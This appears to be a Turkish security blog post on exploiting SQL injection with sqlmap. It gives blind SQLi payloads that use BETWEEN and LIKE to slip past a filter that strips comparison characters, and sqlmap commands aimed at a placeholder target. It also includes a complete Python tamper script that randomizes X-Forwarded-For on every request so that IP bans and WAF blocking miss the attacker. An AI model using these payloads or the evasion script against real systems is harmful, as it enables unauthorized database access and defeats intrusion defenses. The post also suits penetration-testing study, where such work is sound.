Spesifik SQL Injection Zafiyetlerinin SQLMap ile Exploit Edilmesi

Merhaba

SQL Injection saldırılarında kullanılan payloadlar, uygulamanın veri tabanına göndereceği sorgunun yapısına göre veya uygulamanın dönen veri ile yapacağı işlemlere göre değişiklik gösterir. Geçtiğimiz günlerde yaşadığım iki adet farklı sql injection zafiyetini exploit ederken yaptığım işlemleri anlatacağım.

Login Sayfası

Login sayfasında kullanıcıdan alınan username ve password hemen hemen aşağıdaki sorguya benzer yapılar ile çalışmaktadır.

SELECT * FROM users WHERE username = 'INPUT' and password='md5(INPUT)' LIMIT 1;

Her username ve password ikilisinin uniq olması beklenir. Herhangi bir durum olursa uygulamanın hata vermemesi için LIMIT ile dönen sonuç sınırlandırılır.

Bu yapıda saldırgan olarak sorguyu manipüle edebileceğimiz 1 adet değişken mevcuttur. Şifre alanına yazılacak her payloadın md5 alınacağı için sorgu içerisinde [a-f][0-9] ‘dan ibaret bir string oluşacaktır. Bu nedenle sql injection saldırısı username üzerinden gerçekleşmek durumundadır.

Bir diğer önemli nokta ise hedef uygulama sorgu sonucunda dönen veriyi ekrana yazma gibi bir işlem yapmamaktadır. Eğer giriş başarılı ise 302 ile home.php sayfasına redirect olmakta, yanlış ise aynı sayfa tekrar gelmektedir. Bu durumda pek çok insan login bypass yöntemlerini düşünmektedir. Login bypass yöntemi bu örnekte işe yarayacaktır ama veri tabanında ki diğer tabloları keşif etmemize yararı olmayacaktır. Bu nedenle Login Bypass yerine Blind SQLi saldırısı yapmak daha doğru olacaktır.

Blind SQLi saldırıları gerçekleştirirken <,  > , = gibi karakterleri kullanırız. Bu karakter ise hedef uygulamada YASAKLI durumdadır. username değişkeni içerisinde bu karakterlerden herhangi biri varsa yazılım otamatik olarak ilgili karakteri kaldırmaktadır.

# BEKLENEN SORGU
SELECT * FROM users WHERE username = 'FOO' AND substring(@@version,1,1)>5#' and password='md5(INPUT)' LIMIT 1;

# KÜÇÜKTÜR KARAKTERİ KALDIRILIYOR. SYNTAX ERROR
SELECT * FROM users WHERE username = 'FOO' AND substring(@@version,1,1)5#' and password='md5(INPUT)' LIMIT 1;

Oluşan syntax hatasından kaçmak adına BETWEEN komutu kullanılabilir.

SELECT * FROM users WHERE username = 'FOO' AND substring(@@version,1,1) BETWEEN 0 AND 5#' and password='md5(INPUT)' LIMIT 1;

 Ayrıca = karakterinin yasaklandığı durumlarda LIKE komutunu kullanabilirsiniz.

Bu dönüşümü otomatik olarak yapmak için sqlmap’in tamper scriptini kullanabiliriz.

sqlmap -u "www.hedef.com" --tamper "equaltolike,between"

Real IP Problemi

Özellikle Cloudflare arkasında ki uygulamalar kullanıcıların gerçek IP adreslerini almak için X-Forwarded-For kullanmaktadırlar. Cloudflare kullanıcılardan gelen talepleri alıp, ilgili sunucuya iletirken kullanıcının gerçek IP adresini X-Forwarded-For ile göndermektedir. Aksi halde uygulama tüm IP adreslerini cloudflare’ın IP adresi olarak görecektir.

Bu durumda eğer uygulamada herhangi bir saldırı tespit önlemi varsa, filtrelemeye takılan talepler X-Forwarded-For’dan alınan IP adresi bilgisine göre sisteme erişimi engellencektir. SQL Injection saldırısı yaparken her request’te X-Forwarded-For alanında ki değer değiştirilirse saldırı gerçekleştirdiğimiz IP adresimiz erişim engeline takılmayacaktır. Özetle her talebi farklı bir proxy’den iletiyormuşuz gibi düşünebilirsiniz.

Bu işlemi gerçekleştirebilmekadına sqlmap için tamper script’i geliştirdim.

#!/usr/bin/env python

"""
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
from random import randrange
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def generateIP():
    blockOne = randrange(0, 255, 1)
    blockTwo = randrange(0, 255, 1)
    blockThree = randrange(0, 255, 1)
    blockFour = randrange(0, 255, 1)
    if blockOne == 10:
        return generateIP()
    elif blockOne == 172:
        return generateIP()
    elif blockOne == 192:
        return generateIP()
    else:
        return str(blockOne) + '.' + str(blockTwo) + '.' + str(blockThree) + '.' + str(blockFour)

def tamper(payload, **kwargs):
    """
    Append a HTTP Request Parameter to bypass
    WAF (usually application based ) Ban
    protection bypass.

    Mehmet INCE
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = generateIP()
    return payload

https://github.com/sqlmapproject/sqlmap/pull/835

Bu scripti sqlmap klasörü altında ki tamper isimli klasörde randomfakeproxy.py ismi ile kaydettikten sonra aşağıdaki şekilde kullanabilirsiniz.

sqlmap -u "www.hedef.com" --tamper "tamper/randomfakeproxy"